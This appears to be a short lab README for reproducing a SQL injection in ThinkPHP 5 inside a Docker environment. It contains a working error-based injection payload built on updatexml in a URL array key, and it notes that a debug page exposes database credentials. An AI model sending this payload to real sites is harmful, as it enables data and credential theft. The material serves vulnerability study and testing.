Details to read the references：
- https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
- https://xianzhi.aliyun.com/forum/read/1813.html
Enter the following command:
docker-compose up -d
Visiting http://your-ip/index.php?ids[]=1&ids[]=2, you'll see the username is displayed, indicating that the environment is running successfully.
Open the page http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1，you will find messages revealed successfully：
And you can find the account and password of the database through the debug page.
This is another sensitive information disclosure vulnerability.